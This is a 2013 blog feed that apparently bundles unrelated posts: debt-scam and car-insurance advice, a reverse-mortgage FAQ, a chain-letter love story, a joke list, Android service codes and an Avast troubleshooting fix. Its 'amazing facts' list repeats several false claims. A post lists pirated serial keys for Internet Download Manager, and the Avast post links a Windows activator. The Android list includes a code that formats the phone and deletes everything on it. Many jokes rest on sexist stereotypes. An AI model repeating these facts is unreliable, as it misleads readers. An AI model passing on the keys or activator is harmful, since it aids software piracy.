Many people assume their debts cannot be remedied but after they apply these three steps,all they get to say is whoa.People who are concerned and desperate about their debt situation pose exceptionally tempting prey to scammers. Many cons are as simple as companies asking for payment up front and not delivering on the loan. By the way, U.S. and Canadian companies legally cannot call you and promise you a loan then ask for an advance fee before the transaction is completed [source: Federal Trade Commission (FTC)].

Another trick is to claim non-profit status. The FTC has exposed several so-called non-profits, such as the National Consumer Council and Debt Management Foundation Services, which were funneling funds to a for-profit company. Given their deceptive names, it's not surprising that unsuspecting people were willing to trust them.
The victims of these scams fell deeper in debt and suffered a rise in interest rates, as well as other penalties and damage to their credit. Some people even went bankrupt after being misled by these fraudulent companies. In addition, by hiding behind supposed non-profit status, these organizations called numbers on the National Do Not Call Registry to advertise their services. The FTC charged them with not only lying about what their services would do, but also failing to disclose the penalties and fees that would result.
Now that you're looking over your shoulder, why don't you take the following precautionary steps recommended by the FTC before taking out a loan with a finance company:

Be cautious of companies that pressure you into a plan or make any guarantees without looking into your specific needs.
Make an intensive research on the company and the services it offers. It is better if it offers a wide range of options and education on how to handle debt. (It also can't hurt to look up companies on the Better Business Bureau.)
Contact your creditors and notify them if they will work with the company.
Read over the fine print: Make sure to carefully review the agreement, ensuring that it outlines the finance company's plans and its timeframe.
Before you begin making payment to the finance company, ensure that your creditors have accepted the company's proposed plan. Until they do, be sure to continue paying your bills as usual.
After you begin the program, keep a close watch on your statements and call the creditors to ensure they receive payments.

Although they aren't exactly scamming you, many finance companies simply don't warn you about the excessive fees they charge. These fees can add up so that you pile on even more debt. In a related article on debt settlement, SmartMoney writer Aleksandra Todorova named a few fees to watch out for:

A portion of the total debt (which could be up to 18%)
A portion of the amount you save (which can be around 25%)
Sign-up fees
Monthly fees (both service charges and flat fees)

The FTC also cautions against companies that pressure you to pay "voluntary fees." One company that the FTC exposed, called AmeriDebt Inc. collected about $200 million in hidden costs like these [source: Federal Trade Commission].
Just as diet pills are usually too good to be true, so are most debt consolidation offers. Remember, no new loan is going to free you instantly from your debts. But like losing weight, you can climb out of debt with good old-fashioned discipline.

Tricks to Help Lower Your Car Insurance Rate

2013-10-15T17:42:00.005Z

There's more to getting a good rate than just staying accident-free...-Terence Loose

When it comes to auto insurance, we all want to get the right coverage for the lowest premium. Unfortunately, shopping for auto insurance can be easier said than done.
But don't give up on finding the best rate just yet. There are a variety of factors that could potentially save you money.
"The price you pay for your auto insurance can vary by hundreds of dollars, depending on what type of car you have and the insurance company you buy your policy from," says Loretta Worters, vice president of the Insurance Information Institute (III).
Keep reading to learn more about other tricks to help lower your rate.

Tip #1 - Shop Companies

There's a reason why Black Friday and Cyber Monday are such popular days for consumers: We all like to shop for a good deal. And while shopping for auto insurance is not as exciting as finding the right big-screen TV, it could result in a lot more savings.
But Worters advises: "Don't shop by price alone. Ask friends and relatives for their recommendations. Contact your state insurance department to find out whether they provide information on consumer complaints by company."

Tip #2 - Ask for Discounts

Instead of waiting to be offered discounts, ask about them. The fact is, your insurance carrier may not know that you just got married or you finally took that driver's education class - both of which could dig up some savings for you.
What else could help you save? Here's a partial list of possible discounts:*

Low-Mileage Discount: applies when you drive less than 10,000 miles per year, according to III
Good Student Discount: generally requires a B average for a full-time student
Anti-Lock Brakes, Anti-Theft Device, or Air Bag Discount: usually must be factory installed
Driver Education Course Discount: applies when you complete a defensive driving course
Bundled Insurance Discount: applies when you have auto, home, or renter's insurance with the same company

Tip #3 - Check Your Credit

A good credit score isn't just ideal for buying a car or a house - in many states, it could also lower your auto insurance rate.
"Most insurers use credit information to price auto insurance policies. Research shows that people who effectively manage their credit have fewer claims," says Worters. "So establishing a solid credit history can cut your insurance costs."
And while some states like California, Hawaii, and Massachusetts do not allow insurance companies to use credit-based insurance scores, most states do.
What does this mean for you? Worters suggests paying your bills on time, only obtaining credit you need, and keeping your credit balances low as ways to improve your credit score.
Here are a few other tips and tricks to consider:

Get at least three quotes and compare rates, either over the phone or online.
Give the same information to all companies. This ensures a more accurate comparison.
Use rating companies such as A.M. Best Company and Standard & Poor's to check out a company's financial health.

Tip #4 - Consider Raising Your Deductible

If you file a claim, a deductible refers to the amount you pay before your insurance policy covers it. If you have a higher deductible, your insurance premium could be lower. And the potential for savings might surprise you.
"Increasing your deductible from $200 to $500 could reduce your collision and comprehensive coverage cost by 15 to 30 percent. Going to a $1,000 deductible can save you 40 percent or more," says Worters.
But remember, before increasing your deductible payment, make sure that you have enough cash set aside to pay it in case you do have to file a claim.

Tip #5 - Don't Over-Insure

If you lived in a 100-year-old shack, you probably wouldn't pay a lot for home insurance, right? Same goes for an aging car, yet many people neglect to drop coverage that they'll likely never use.
Specifically, Worters advises dropping collision and/or comprehensive coverage - which protects your car in the event that it's damaged - if you drive an older car.
"If your car is worth less than 10 times the premium, purchasing the coverage may not be cost-effective," she says.
But make sure to check the worth of your car before making this decision, says Worters. You could find out your car's worth through banks, auto dealers, or online with Kelley Blue Book.

Tip #6 - Lose Your Kid

No, no, we don't mean lose little Bobby or Sally at the mall or Disneyland. We're talking about removing them from your auto insurance policy if they've grown up, gone away to college, and only visit home occasionally - i.e., they only drive your car on weekends or during holiday vacations.
How can this help your auto insurance rate?
According to the National Association of Insurance Commissioners' (NAIC) website, if your child lives away at school - at least 100 miles - and has less access to the insured vehicle, you may be able to take advantage of insurance discounts.

2013-10-15T17:37:00.003Z

VERY SAD TOUCHING STORY ....
.
MUST READ N SHARED
There was a Boy ‘n a Girl,
They were best friends for years ‘n years,
They could Talk for hours on the Phone ‘n text
each
other for days...
When They were Together;
Not a single Sad Thought could cross their
Minds,
everything was Great, But One Day;
The Boy did not Answer any Call or Reply to any
Text
for a Day,
The Girl was worried that something was Wrong..
at night She couldn’t Sleep..,
She was sitting in her Room Crying, ‘n It was
then
that She Realized how much He Means to Her..?
The next Morning; She woke Up from a Phone
call..,
It was the Boy..
Boy : Hey..,
Girl : Im so glad that you Called Me,
What happened to you yesterday ??
Boy : I was Busy
[ The GIRL Understood that;
Something was Wrong but could not Ask]
[silence]
Boy : You know..;
We should Stop talking..!
Girl: What??..,
But Why ??
Boy: I am Sorry, Bye..!
[He Disconnected the call, 'n She Felt as If
Somebody had Slammed the door on Her face]
Everything else Flashed in Her Mind,
Tears :’(
Cars running by Her..
Roof of some building..’n Sunset..
She couldn’t understand anything..
She started Feeling Lonely,
Dejected, ‘n broken..:’(
That was the answer to everything!
His words were pouncing on her..
Her heart wanted to jump out!
He was the One..! “Why..??”
She Screamed at the Top of her Voice;
Then She made up Her Mind to make a last Try
to
get Him Back..!
[She called Him Up]
Girl: hi…
Boy: Why are you calling Me?
Girl: I need to tell you Something..
Boy: Go Ahead.
Girl: I Just Wanted You to know one thing before
we
stopped talking!
Boy: Tell me..!
Girl: Are you All right?
[She broke off..!
She tried but may be he doesn't really Care
about
Her,
She Thought!
She wasn't His friend in the first Place...
Tears were slowly running Worst
She left the House with a Note..! ]
[5 hours later]
Phone Rang in the Boy’s Room,
It was the Girl’s Mum,
The girl was lying in the hospital,
Got hit by a Car, :’(
The Boy rushed to the Hospital where She was.
She Opened Her Eyes with theBoy’s name..,
He took her Hand..
Boy: Im so Sorry Its all my fault..!
But;
I promise when U get better I’ll make It up to
You..
Girl: I wont get Better..
Boy: No..!
No Don’t say that..
Girl: just tell me one thing Why did you do it?
Boy told her that He had a Heart problem ‘n he
did
not want her to be worried;
‘n there was a risk that he could have Died..!
Boy: I did that because I…..I…..I Love you..?
Girl : I LOVE YOU TOO..?
‘n After That her heart Stopped Beating…:O
She Died..! :’(
The Boy died 10 mins later from a Heart
Attack..:’(
He could not live with the thought that;
She died Because of Him.. :’(
.
-Moral: If You Love Someone…;
Then Don’t Hold Back Your Feelings…
because, Love is The Reason to Live..!

Love is Beautiful..

2013-10-15T17:28:00.003Z

Some Amazing Facts:
****************

1. China has more English speakers than the United States.

2. Guinness Book of Records holds the record for being the book most stolen from Public Libraries.

3. In Missouri, a man must have a permit to shave.

4. The Mona Lisa has no eyebrows; it was the fashion in Renaissance Florence to shave them off.

5. The Nobel Peace Prize medal depicts three naked men with their
hands on each other's shoulders.

6. It is estimated that millions of trees in the world are accidentally
planted by squirrels that bury nuts and then forget where they hid them.

7. Recycling one glass jar, saves enough energy to watch T.V for 3 hours!

8. There are more plastic flamingos in the U.S, than real ones!

9. A company in Taiwan makes dinnerware out of wheat, so you can
eat your plate.

10. Thomas Edison, light bulb inventor, was afraid of the dark.

11. President George W Bush was once a cheerleader.

12. More Monopoly money is printed in a year, than real money printed throughout the world.

13. On a Canadian two dollar bill, the flag flying over the Parliament
building is an American flag.

2013-10-15T17:15:00.005Z

Reverse Mortgages

The Home Equity Conversion Mortgage (HECM) is FHA's reverse mortgage program, which enables you to withdraw some of the equity in your home. The HECM is a safe plan that can give older Americans greater financial security. Many seniors use it to supplement Social Security, meet unexpected medical expenses, make home improvements and more. You can receive additional free information about reverse mortgages in general by contacting the National Council on Aging at (800) 510-0301 or downloading their free booklet, "Use Your Home to Stay at Home," a guide for older homeowners who need help now. It is smart to know more about reverse mortgages, and decide if one is right for you!

1. What is a reverse mortgage?
A reverse mortgage is a special type of home loan that lets you convert a portion of the equity in your home into cash. The equity that you built up over years of making mortgage payments can be paid to you. However, unlike a traditional home equity loan or second mortgage, HECM borrowers do not have to repay the HECM loan until the borrowers no longer use the home as their principal residence or fail to meet the obligations of the mortgage. You can also use a HECM to purchase a primary residence if you are able to use cash on hand to pay the difference between the HECM proceeds and the sales price plus closing costs for the property you are purchasing.
2. Can I qualify for FHA's HECM reverse mortgage?
To be eligible for a FHA HECM, the FHA requires that you be a homeowner 62 years of age or older, own your home outright, or have a low mortgage balance that can be paid off at closing with proceeds from the reverse loan, and you must live in the home. You are also required to receive consumer information free or at very low cost from a HECM counselor prior to obtaining the loan. You can find a HECM counselor online or by phoning (800) 569-4287.
3. Can I apply for a HECM even if I did not buy my present house with FHA mortgage insurance?
Yes. You may apply for a HECM regardless of whether or not you purchased your home with an FHA-insured mortgage.
4. What types of homes are eligible?
To be eligible for the FHA HECM, your home must be a single family home or a 2-4 unit home with one unit occupied by the borrower. HUD-approved condominiums and manufactured homes that meet FHA requirements are also eligible.
5. What are the differences between a reverse mortgage and a home equity loan?
With a second mortgage, or a home equity line of credit, borrowers must have adequate income to qualify for the loan, and they make monthly payments on the principal and interest. A reverse mortgage is different, because it pays you – there are no monthly principal and interest payments. With a reverse mortgage, you are required to pay real estate taxes, utilities, and hazard and flood insurance premiums.
6. Will we have an estate that we can leave to heirs?
When the home is sold or no longer used as a primary residence, the cash, interest, and other HECM finance charges must be repaid. All proceeds beyond the amount owed belong to your spouse or estate. This means any remaining equity can be transferred to heirs. No debt is passed along to the estate or heirs.
7. How much money can I get from my home?
The amount you may borrower will depend on:

Age of the youngest borrower
Current interest rate
Lesser of appraised value or the HECM FHA mortgage limit of $625,500 or the sales price; and
Initial Mortgage Insurance Premium--your choices are HECM Standard or HECM SAVER

In addition, the more valuable your home is, the older you are, and the lower the interest rate, the more you can borrow. If there is more than one borrower, the age of the youngest borrower is used to determine the amount you can borrow. For an estimate of HECM cash benefits, select the online calculator from the HECM Home Page. Many online reverse mortgage calculators can provide you with an estimate of the amount of funds you can borrow.
8. Should I use an estate planning service to find a reverse mortgage lender?
FHA does NOT recommend using any service that charges a fee for referring a borrower to an FHA-approved lender. You can locate a FHA-approved lender by searching online at www.hud.gov or by contacting a HECM counselor for a listing. Services rendered by HECM counselors are free or at a low cost. To locate a HECM counselor Search online or call (800) 569-4287 toll-free, for the name and location of a HUD-approved housing counseling agency near you
9. How do I receive my payments?
You can select from five payment plans:

Tenure- equal monthly payments as long as at least one borrower lives and continues to occupy the property as a principal residence.
Term- equal monthly payments for a fixed period of months selected.
Line of Credit- unscheduled payments or in installments, at times and in an amount of your choosing until the line of credit is exhausted.
Modified Tenure- combination of line of credit and scheduled monthly payments for as long as you remain in the home.
Modified Term- combination of line of credit plus monthly payments for a fixed period of months selected by the borrower.

10. What if I change my mind and no longer want the loan after I go to closing? How do I do this?

By law, you have three calendar days to change your mind and cancel the loan. This is called a three day right of rescission. The process of canceling the loan should be explained at loan closing. Be sure to ask the lender for instructions on this process. Mortgage lenders differ in the process of canceling a loan. You should ask for the names of the appropriate people, phone numbers, fax numbers, addresses, or written instructions on whatever process the company has in place. In most cases, the right of rescission will not be applicable to HECM for purchase transactions.

2013-10-15T17:14:00.002Z

Android Secrete codes
------------------------------------
1. Phone Information, Usage and
Battery – *#*#4636#*#*
2. IMEI Number – *#06#
3. Enter Service Menu On Newer
Phones – *#0*#
4. Detailed Camera Information –
*#*#34971539#*#*
5. Backup All Media Files –
*#*#273282*255*663282*#*#*
6. Wireless LAN Test –
*#*#232339#*#*
7. Enable Test Mode for Service –
*#*#197328640#*#*
8. Back-light Test – *#*#0842#*#*
9. Test the Touchscreen –
*#*#2664#*#*
10. Vibration Test – *#*#0842#*#*
11. FTA Software Version –
*#*#1111#*#*
12. Complete Software and
Hardware Info – *#12580*369#
13. Diagnostic Configuration –
*#9090#
14. USB Logging Control –
*#872564#
15. System Dump Mode – *#9900#
16. HSDPA/HSUPA Control Menu –
*#301279#
17. View Phone Lock Status –
*#7465625#
18. Reset the Data Partition to
Factory State – *#*#7780#*#*
19. Format Your Device To Factory
State(will delete everything on your
phone) – *2767*3855#
20. Hidden Service Menu For
Motorola Droid – ##7764726

2013-10-15T17:07:00.003Z

Browser Shortcuts
Alt + Home: (Open your home page.)
Alt + Left Arrow: (Back a page.)
Alt + Right Arrow: (Forward a page.)
F5:( Refresh current page, frame, or tab.)
F11: (Display the current website in full screen mode. Pressing F11 again will exit this mode.)
Esc: (Stop page or download from loading.)
Ctrl + I: (Display available bookmarks.)
Ctrl + J: (Display the download window.)
Ctrl + T: (Opens a new tab.)
Ctrl + F4 or Ctrl + W: (Closes the currently selected tab.)
Alt + Down arrow: (Display all previous text entered in a text box and available options on drop down menu.)

2013-10-15T17:06:00.001Z

Alt + Home: (Open your home page.)
Alt + Left Arrow: (Back a page.)
Alt + Right Arrow: (Forward a page.)
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2013-10-15T17:01:00.002Z

Internet Download Manager All version
serial:
398ND-QNAGY-CMMZU-ZP139
K7HQL-EKS42-5PH4X-G09C2
87ETO-Y539Y-140FT-X4LDW
B3MQI-OPZPM-RZH57-R3WIZ
ZGNBX-YOUXW-5S8BG-PM7D5
UJ4HX-ZJO8O-L66O1-7B488
6VC19-ACZ7F-93HLS-8SXKS
FVNTE-FBBT8-CW3GM-NIS1S
ZH5KF-J9MU6-JOOYG-8PAEM

2013-10-15T16:43:00.001Z

Japanese Car
There was a Japanese man who went to America for sightseeing. On the last day, he hailed a cab and told the driver to drive to the airport. During the journey, a Honda drove past the taxi. Thereupon, the man leaned out of the window excitedly and yelled, "Honda, very fast! Made in Japan!"

After a while, a Toyota sped past the taxi. Again, the Japanese man leaned out of the window and yelled, "Toyota, very fast! Made in Japan!"

And then a Mitsubishi sped past the taxi. For the third time, the Japanese leaned out of the window and yelled, "Mitsubishi, very fast! Made in Japan!"

The driver was a little angry, but he kept quiet. And this went on for quite a number of cars. Finally, the taxi came to the airport. The fare was US$300. The Japanese exclaimed, "Wah.. so expensive!

There upon, the driver yelled back, "Meter, very fast! Made in Japan!"

Why was 6 afraid of 7--because 7~8~9
I come from a stupid family
What does the ocean say to the boat,~~Nothing,it's just waves
What do you call a sleeping car~A bulldozer
What do you call a swimming pool full of blondes~Frosted flakes
The bartender asked what I wanted, "Surprise me " I said, so he showed me a naked picture of my wife
What's 5 miles long and has an IQ of 60~~A blonde parade
Yo mama's a so yellow, traffic slows down when she smiles
What do elves do after school? ~~Gnomework
Why don't they play poker in the jungle? ~~Too many cheetahs
I stuck my head out of the window and got arrested for mooning~~Rodney Dangerfield
Yo mama's so ugly when she walks into a bank,they turn of the surveillance cameras
What do you call a brunette between 2 blondes~~An Interpreter
Why did the teacher wear sunglasses~~Because she had bright students
How do you amuse a blonde for hours~~Give her a sheet of paper with "Please turn over" scribbled on both sides
What kind of car does Mickey Mouse's wife drive~~A mini van
What do you call a boomerang that doesn't work ~~A stick
To mama's so stupid she hears it's chilly outside so she gets a bowl
Give a man a fish and he has food for a day; teach him how to fish and you get rid of him for the entire weekend~~Zenna Schaffer
I find television very educational .Everytime someone turns on the TV set,I go into the other room and read a book~~Groucho Marx
To men, sex is an emergency and no matter what we are doing, we would be ready in 2 minutes~~Jerry Seinfeld
What is the Mosquitos favorite sport?~~Skin-diving
I remember the time I was kidnapped and they sent a piece of my finger to my father.He said he wanted more proof~~Rodney Dangerfield
When I was born,the doctor said to my father, "I'm sorry,we did everything we could,but he still pulled thru"~~Rodney Dangerfield
What did the adding machine say to the cashier~~You can count on me
What did the bee say to the flower, ~~Hi Honey
What bird is always out of breath, ~~A Puffin
What did theater say to the stamps ~~Stay with me and we'll go places
What did the mayonnaise say when someone opened the refrigerator door~~Close the door,I am dressing
What is the fruitiest lesson~~History,because it is full of dates
Yo mama's so short you can see her feet on her drivers license
Actually,it only takes one drink to get loaded.Trouble is, I can't remember if it's the thirteenth or fourteenth.~~George Burns
A brunette, a blonde, and a redhead are all in third grade.Who is the oldest? ~~The blonde,because she is 18
How does a blonde spell "farm"~~E-I-E-I-O
I was the best man at the wedding .If I am the best man,why is she marrying him?~~Jerry Seinfeld
We sleep in separate rooms, we have dinner apart, we take separate vacations -we're doing everything to keep our marriage together~~Rodney Dangerfield
Once somebody stole our car. I asked my wife if she's as who it was she said "No but I did get the license number"~~Rodney Dangerfield
What's the definition of a will~~A dead giveaway
When is a baseball player like a thief?~~when he steals a base
Why is baseball like a cake?~~they both need batters
How do you prevent a summer cold?~~Catch it in the winter
Why couldn't the chicken find her eggs?: She mislaid them.
Why is it so hot in a stadium after a football game?: Because all the fans have left.
What lights up a soccer stadium?: A soccer match.
Yo mama's so short she models for trophies.
How do you know when a blonde has been making chocolate ch cookies?: You find M&M shells all over the kitchen floor.
Personally, I never drink on Oscar nights, as it interferes with my suffering.
Life is just a bowl of pits.
What does a blonde and a beer bottle have in common?: Both are completely empty from the neck up.
The idea behind the tuxedo is the woman's point of view that men are all the same, so we might as well dress them that way.
I tell ya I get no respect from anyone. I bought a cemetery plot. The guy said, 'There goes the neighborhood!'
How do you get a blonde to stay in the shower all day?: Lend her your bottle of shampoo that says "Lather, rinse, repeat".
One day I came home and saw a guy jogging naked, I said "Hey buddy why are you doing that", he said "Cause you came home early."
Yo mama's so old her social security number is one.
What type of bow can never be tied?: A Rainbow.
Bigamy is having one wife too many. Monogamy is the same.
How do you make milk shake?: Give it a good scare.
It's amazing that the amount of news that happens in the world every day always just exactly fits the newspaper.;Jerry Seinfeld
I come from family where gravy is considered a beverage.
The only thing chicken about Israel is their soup.
This morning when I put on my underwear I could hear the fruit-of-the-loom guys laughing at me.
What is the cannibal's favorite game?: Swallow the leader.
What do you call a cow in an earthquake?: A milkshake.
Yo mama's so fat she put on her lipstick with a paint roller.
Why did the blonde return a scarf to the store?: Because it was too tight.
Sometimes the road less traveled is less traveled for a reason.~~Jerry Seinfeld
Yo mama's so poor she can't afford to pay attention.
What kind of food is crazy about money?: A dough-nut.
What a kid I got, I told him about the birds and the bee and he told me about the butcher and my wife.~~Rodney Dangerfield
For Christmas one year I bought my son a BB gun. He bought me a t-shirt with a bulls eye on the back.~~Rodney Dangerfield
What do you call a smart blonde?: A golden retriever.
Can't we just get rid of wine lists? Do we really have to be reminded every time we go out to a nice restaurant that we have no idea what we are doing?~~Jerry Seinfeld
How do you make antifreeze?: You steal her blanket.
What do you call a man with a car on his head?: Jack.
Some women hold up dresses that are so ugly and they always say the same thing: 'This looks much better on.' On what? On fire? ~~Rita Rudner
She said she was approaching forty, and I couldn't help wondering from what direction.~~Bob Hope
What's with this weird hotel custom of leaving a piece of chocolate on the pillow? I awoke thinking my brain had hemorrhaged some sort of fecal matter. ~~Jerry Seinfeld
With my wife, I don't get no respect. The other night there was a knock on the front door. My wife told me to hide in the closet. ~~Rodney Dangerfield
I bought some batteries, but they weren't included. So I had to buy them again.~~Steven Wright
Yo mama's so ugly when she went to a haunted house, she came out with a job application.
What is full of holes but can still hold water?: A sponge.
What do you call a deer with no eyes?: No eye-deer.
A man on a date wonders if he’ll get lucky. The woman knows.~~Monica Piper
What did the blonde say when she opened the box of Cheerios?: "Oh, look...doughnut seeds."
What is a tree’s favorite drink?: Root beer.
You never get tired unless you stop and take time for it.~~Bob Hope
What do you find at the end of everything?: The letter "g".
When I started in show business, I played one club that was so far out, my act was reviewed in Field and Stream. ~~Rodney Dangerfield
How do you get a guitar player to play softer?: Give him some sheet music.
Why did the blonde put lipstick on her forehead?: Because she was trying to make up her mind.
Who invented underground tunnels?: A mole.
When my parents got divorced, there was a custody fight over me. ... and no one showed up.~~Rodney Dangerfield
Please, if you ever see me getting beaten up by the police, please put your video camera down and help me.~~Bobcat Goldthwait
New York is an exciting town where something is happening all the time, most of it unsolved.~~Johny Carsson

Iceberg Corporation.Inc

2013-10-15T16:39:00.000Z

Important Abbreviations in
Information Technology— D
DAC—Digital-To-Analog Converter
DAC—Discretionary Access Control
DAO—Data Access Objects
DAO—Disk-At-Once
DAP—Directory Access Protocol
DARPA—Defense Advanced Research
Projects Agency
DAT—Digital Audio Tape
DB—Database
DBA—Database Administrator
DBCS—Double Byte Character Set
DBMS—Database Management System
DCC—Direct Client-to-Client(data
facebook/cnaonweb)
DCCP—Datagram Congestion Control
Protocol
DCCA—Debian Common Core Alliance
DCL—Data Control Language
DCMI—Dublin Core Metadata
Initiative
DCOM—Distributed Component
Object Model
DD—Double Density
DDE—Dynamic Data Exchange
DDL—Data Definition Language
DDoS—Distributed Denial of Service
DDR—Double Data Rate (data
facebook/cnaonweb)
DEC—Digital Equipment Corporation
DES—Data Encryption Standard
dev—development
DFA—Deterministic Finite Automaton
DFD—Data Flow Diagram
DFS—Depth-First Search
DFS—Distributed File System
DGD—Dworkin's Game Driver
DHCP—Dynamic Host Configuration
Protocol
DHTML—Dynamic Hypertext Markup
Language
DIF—Data Integrity Field
DIMM—Dual Inline Memory Module
DIN—Deutsches Institut für Normung
DIP—Dual In-line Package(data
facebook/cnaonweb)
DIVX—Digital Video Express
DKIM—Domain Keys Identified Mail

How to boost your life successes

2013-10-15T16:16:00.003Z

Have you wandered how great the possibilities of making it in life are if only you know how to obtain and use ideas in all fields of life.
Tips of creating a successful life.

As the famous saying goes"the most powerful tool in life is the ability to imagine'. Being able to imagine is one of the most powerful driving force to a successful life.For whatever the mind can imagine is obtainable.

Having the will power or determination to succeed.Albert Einstein once said 'if I have seen further than others,it's by standing upon the shoulders of giants..Life is full of challenges in every move one tries to make to improve on his status.So for you to keep on moving without distractions,keep this in mind"No situation is permanent"

You will need to cultivate the habit of being patient"If I have ever made valuable discoveries,it has been due to more patient attention than to any other talent.Patience brings out more

Find a source of inspiration or motivation.Leave the presence of people who try to underestimate your potentials.Such people can be hindrances in maximizing your abilities."Cultivate the I can do spirit".Never give up on an unsuccessful first attempt.

Humble yourself to learn from others as this would save you from making errors others have made.Mistakes can be avoided if only it's root is known.

Fight to create breakthroughs and embark on firm decision making.

2013-10-15T15:48:00.001Z

How to solve Windows 8 black screen problem caused by Avast antivirus

2013-08-07T02:16:00.001Z

Brief Introduction :

Many of Users of Windows 8 are having problem of "Black Screen" After Login in and Nothing is visible. after that.

Some of our Readers said it caused by the ask4pc activator (Windows 8 Activator (all versions) make win8 genuine | Ask4pc) . But actually it is not.
those who have installed Avast are facing this problem as. Avast is still not for Windows 8 .
Well Windows 8 is having a built in antivirus You don't need any external antivirus and home user level.

whatever This post will Describe how to solve this problem of blackout screen.

You might have encountered a black screen problem after installing Avast antivirus on your Windows 8 operating system. You would notice that once your account loads the screen automatically turns black and you won’t be able to see anything except a moveable cursor.

Solution :

Turn on your computer and log in
Once you are logged in, you would get a black screen with a moveable cursor
Press Ctrl + Alt + Del and open Task manager

Go to start-up tab and right click on Avast antivirus and click on open file location

Now double click on AvastUI, It will open the Avast Interface

Go to security –> Behavior Shield —> Settings

Click on Trusted Processes on the left and add the below mentioned path to the list
C:\Windows\explorer.exe and C:\Windows\ImmersiveControlPanel\SystemSettings.exe

Following this procedure will definitely help you solve the black screen problem. In case its not resolved. Go to Avast –>security –> Behavior Shield —> Settings

and under main settings untick “Monitor the system for unauthorized modifications” and click OK.